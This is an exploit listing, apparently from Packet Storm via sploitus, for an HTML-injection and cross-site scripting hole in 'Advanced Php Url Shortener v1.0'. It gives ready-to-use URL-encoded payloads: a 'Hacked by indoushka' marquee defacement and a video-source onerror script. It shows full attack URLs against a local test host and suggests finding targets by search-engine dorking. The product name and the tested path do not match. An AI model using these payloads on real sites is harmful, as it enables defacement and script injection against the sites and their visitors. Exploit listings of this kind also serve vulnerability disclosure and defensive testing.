Share
## https://sploitus.com/exploit?id=PACKETSTORM:173168
====================================================================================================================================
| # Title : Advanced Php Url Shortener v 1.0 Xss Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Français V.(Pro) |
| # Vendor : http://www.dl.persianscript.ir/script/advanced-php-url-shortener(PersianScript.ir).rar |
| # Dork : |
====================================================================================================================================
P0C :
[+] Dorking İn Google Or Other Search Enggine .
[+] HTML Inject :
[+] use payload : =%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3E
[+] http://127.0.0.1/social.pricopinfo/index.php?a=discover&u=%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3E
XSS :
[+] use payload : index.php?a=discover&u=skylargrey%3Cvideo%3E%3Csource%20onerror%3d%22javascript:prompt%28966118%29%22%3E
[+] http://127.0.0.4/social.pricopinfo//index.php?a=discover&u=skylargrey%3Cvideo%3E%3Csource%20onerror%3d%22javascript:prompt%28966118%29%22%3E
====Greetings to :=======================================================================================================================
| jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* CraCkEr * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh |
=========================================================================================================================================